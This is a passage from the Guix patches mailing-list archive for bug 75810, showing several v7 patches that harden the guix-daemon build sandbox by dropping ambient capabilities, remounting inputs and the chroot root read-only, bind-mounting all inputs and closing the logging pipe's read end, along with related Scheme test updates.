+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv2))))
          (drv4     (derivation %store "fixed-user-user" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:inputs (list (derivation-input drv3a '("one"))
                                               (derivation-input drv3b '("two"))))))
     (match (derivation-inputs drv4)
@@ -888,7 +894,7 @@ (define %coreutils
                                     ,(string-append
                                       (derivation->output-path %coreutils)
                                       "/bin")))
-                      #:sources (list builder)
+                      #:sources (list %bash builder)
                       #:inputs (list (derivation-input %coreutils))))
          (succeeded?
           (build-derivations %store (list drv))))
diff --git a/tests/packages.scm b/tests/packages.scm
index 50c1cab915..f56c63128d 100644
--- a/tests/packages.scm
+++ b/tests/packages.scm
@@ -80,6 +80,11 @@ (define %store
 ;; When grafting, do not add dependency on 'glibc-utf8-locales'.
 (%graft-with-utf8-locale? #f)
 
+(define (bootstrap-binary name)
+  (let ((bin (search-bootstrap-binary name (%current-system))))
+    (and %store
+         (add-to-store %store name #t "sha256" bin))))
+
 
 (test-begin "packages")
 
@@ -609,14 +614,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha512"
   "hello"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
@@ -635,14 +640,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha3-512"
   "hello, sha3"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello, sha3 > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha3-512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:18 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:18 2025
Received: from localhost ([127.0.0.1]:59193 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMx3-0006Zp-82
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:18 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43252)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwE-0006S8-G0
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:29 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw5-0001H7-Pe; Thu, 20 Mar 2025 16:56:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=vFG6iPVFQp7C1RpVfJcQhN1IdM6ZNKaKsQYqPVGNrlk=; b=abyaoCi1w5HjKpcRFl+e
 HxYOoClTP3qRNWcnDX1/mN/zJzSNy/Lowy1GtbA5IvVS77jzrUS+aD91LRFJWWZLKnUz+qTBMUj9G
 j9frhXhtCcJSz0FonHP5nxLxF9BD5+NQowXIJUtJvJ7csdMRjgY3IlOcgayFVbtbi+D+jjLt47pxW
 LQKiCzbIhUibNohHNJIFFZAypIrPY7aOxJaiuRNTMraG4ev9cWyzfbq8lvQqk3QGgLLiKImDU2t+A
 5Po7QhBUDzAa9ZX1cmaS//PnAu07wx5w04v09LRxoDXJxcHYmQfkIoOKHVtz3M3qr54il/aA40i56
 DvuoX+e6HNVcdQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 09/16] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Thu, 20 Mar 2025 21:54:42 +0100
Message-ID: <50bb8842d557522b6929215bbd5a721b1fa4c69b.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a..35d9c8cd56 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index e6cd45aba4..fa0f293aac 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2075,6 +2078,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:54 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:54 2025
Received: from localhost ([127.0.0.1]:59184 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwc-0006WN-EM
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:54 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41202)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwB-0006RR-ES
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:27 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw0-0001G6-27; Thu, 20 Mar 2025 16:56:12 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=ozQM+lYqSSPDiTg6Dp/w4oPIGKDs4CrGaOeKp99rZWg=; b=i3BqnwDkbZHnTgOm4lNc
 OynN/H5vzCzwpGBMK5jFpl/WytGJZ/mtPVtOel6Zd7Uiwa/j7PrrEPzfQ4u85aab/zkyrBib7+oAZ
 My5nqM0Qa/n4AgmS0U78BRDqAGSCZILTz2/Os47XciYu2QUiTnWZYhORxe85pzQDHoEZyE4K1d6fC
 P6yAU6fit2DYDgOUuDlJWXwQAU+LnOs/v7LjGSPEiO5uyTjETFmayvDKcQSIdwNbp+7CssV0jqPyE
 /9m+aGWWljc3c5bLGqkpnIL63lhF1qNaPqTDzhsTVLYM0TWv9RBoku6y+2zsXSp5lglmhbyoGzwoC
 znjR/bWPZemOEA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 05/16] daemon: Remount inputs as read-only.
Date: Thu, 20 Mar 2025 21:54:38 +0100
Message-ID: <fc6bce54b185e36b01ad7dac102514d9a4ab9b9a.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 193b279b88..3861a1ffd9 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2107,8 +2107,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source.compare(0, settings.nixStore.length(), settings.nixStore) == 0) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:50 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:50 2025
Received: from localhost ([127.0.0.1]:59182 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwY-0006Vx-Lh
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:50 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41200)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwA-0006RD-F6
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:26 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMvz-0001G0-2l; Thu, 20 Mar 2025 16:56:11 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=OHeVSHlKl++yMNnhWaubdTXXSn3UUkG8AbIkWMisgq8=; b=jzC8XOA1Bh9UaxNI+7zM
 DODwbwlhVkJ4OLC+9Ui0zevvwGbZW8ncawcqAqsxrck4ZzGc2ZR/wjOTmyi5uhV9N6c06oByt4pDY
 wSCuxvT1O4aPTD4CKZXve8zCHh85ms46Br1Ehk1IXcEng16iQApIvTretyTc4dtvDcmQZbhu/SRQg
 0E6NIXI433bHM3OjJYZnNb13Yzl51oyYwT2qBqVdyLP866CbOB5he6gmFOxfYFgmHGU3YRskyao7W
 mur+N1CDP9z3tKdHYe7o8vP9uPtplll/qljjauYIp8QO/Zp7fPQs+aAPZibauz6tNmfik1AGEiA+B
 k0+OYcLWZLPJqw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 04/16] daemon: Bind-mount all the inputs,
 not just directories.
Date: Thu, 20 Mar 2025 21:54:37 +0100
Message-ID: <ce3f4c99d45c4e99e0c698fc9279d9b4c60ee30a.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.
Special-case symlinks.
(DerivationGoal)[regularInputPaths]: Remove.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 39 ++++++++++++++-------------------------
 1 file changed, 14 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 8ca5e5b732..193b279b88 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -659,9 +659,6 @@ private:
     /* RAII object to delete the chroot directory. */
     std::shared_ptr<AutoDelete> autoDelChroot;
 
-    /* All inputs that are regular files. */
-    PathSet regularInputPaths;
-
     /* Whether this is a fixed-output derivation. */
     bool fixedOutput;
 
@@ -1850,9 +1847,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1858,22 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
+	    struct stat st;
             if (lstat(i->c_str(), &st))
                 throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
 
-                regularInputPaths.insert(*i);
-            }
+	    if (S_ISLNK(st.st_mode)) {
+		/* Since bind-mounts follow symlinks, thus representing their
+		   target and not the symlink itself, special-case
+		   symlinks. XXX: When running unprivileged, TARGET can be
+		   deleted by the build process.  Use 'open_tree' & co. when
+		   it's more widely available.  */
+                Path target = chrootRootDir + *i;
+		if (symlink(readLink(*i).c_str(), target.c_str()) == -1)
+		    throw SysError(format("failed to create symlink '%1%' to '%2%'") % target % readLink(*i));
+	    }
+	    else
+		dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:46 2025
Received: from localhost ([127.0.0.1]:59180 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwU-0006Vb-PZ
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:46 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41198)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMw8-0006R1-6D
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:24 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMvw-0001Fi-Ow; Thu, 20 Mar 2025 16:56:08 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fUCaHHG/eO75rZDRlbk9XFL7p37y9SICE8zVkSS6pAE=; b=XrWbV6giYPefhWhQYU4Y
 P6QWwFyqa5wg550QX5PzyQ48dVcVFy81VtGPI6PHBCNpdJWrAQVTP6wY0P1dh4qBkn0X0chwsxE0S
 TDCPtVMQ89PeFRb3QoUZQRIL3JbhJQwZtOw2q5OM1XIc9qkY85JCQQA6yZnQrzvtJlj77mmgqrYV6
 NAW8slx9BqjdP1UQSFvEV09PqCZe2q0ez1MOu2h29e60BAYR6JZocR8CsWZWDcuusjDwZOgniIRoA
 Ubez7VghHqVA7x0POktfr1Vn9Ye+psrZ0V/CvPnwnIZcPm1UTOEb/IVYyp/jbpoEoRSGKMhzKhIqk
 5QkYcTRCPhQUyw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 02/16] daemon: Close the read end of the logging pipe.
Date: Thu, 20 Mar 2025 21:54:35 +0100
Message-ID: <e4db1c0ad956a8ab383c5c688f32a97a9cb56b95.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libutil/util.cc (commonChildInit): Close ‘logPipe.readSide’.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ia9e48d1afb85d7af52770e016f2b6832792044dd
---
 nix/libutil/util.cc | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index eb2d16e1cc..56f116046c 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -1279,6 +1279,9 @@ void commonChildInit(Pipe & logPipe)
     if (setsid() == -1)
         throw SysError(format("creating a new session"));
 
+    /* Close the read end so only the parent holds a reference to it.  */
+    logPipe.readSide.close();
+
     /* Dup the write side of the logger pipe into stderr. */
     if (dup2(logPipe.writeSide, STDERR_FILENO) == -1)
         throw SysError("cannot pipe standard error into log file");
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:43 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:42 2025
Received: from localhost ([127.0.0.1]:59178 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwT-0006VR-R7
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:42 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41196)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMw7-0006Qz-0i
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:21 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMw1-0001GI-3V; Thu, 20 Mar 2025 16:56:13 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=3sOVW5n0d1cSpQd8PLRrsmflCadSWuH5XwPCIe/iTyM=; b=OvaQ5z0ANTbpsqF0NS2e
 vxv3e4Hl+Dl7rnyiGZQdX5Mql0ZLeIDoofdRmK4wSYA8CjNK2EXcmGr/d+CtOoD1qZSFt4gm7TsMA
 x2qdnWfmnViM1JDle3Cg4ldkssc1X02YEIVLkSLMs92oYcIRx9t075qXyvTP845N7pMWBw7kD2/h/
 k4/VdhzLC2okKLqBm29fglZVMyX2Be3z/Z/lfRG+AiUJ/DoKx3kR4yPG17UlHrfldMztHG+Lpshff
 qBIodCntT+y8Ple/knLyzuvDGh95JOd1s8UMMC17WKOjcen+olgdoBoj+1Z8xOO7g5Ng6Vu4VACUG
 3wFIz1pi9XhcUQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 06/16] daemon: Remount root directory as read-only.
Date: Thu, 20 Mar 2025 21:54:39 +0100
Message-ID: <c6d4923957d92a21624959928f6468a3f1801394.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Bind-mount the store
and /tmp under ‘chrootRootDir’ to themselves as read-write.
Remount / as read-only.

Change-Id: I79565094c8ec8448401897c720aad75304fd1948
---
 nix/libstore/build.cc | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 3861a1ffd9..c8b778362a 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2091,6 +2091,18 @@ void DerivationGoal::runChild()
 
             for (auto & i : ss) dirsInChroot[i] = i;
 
+	    /* Make new mounts for the store and for /tmp.  That way, when
+	       'chrootRootDir' is made read-only below, these two mounts will
+	       remain writable (the store needs to be writable so derivation
+	       outputs can be written to it, and /tmp is writable by
+	       convention).  */
+	    auto chrootStoreDir = chrootRootDir + settings.nixStore;
+	    if (mount(chrootStoreDir.c_str(), chrootStoreDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of store '%1%' failed") % chrootStoreDir);
+	    auto chrootTmpDir = chrootRootDir + "/tmp";
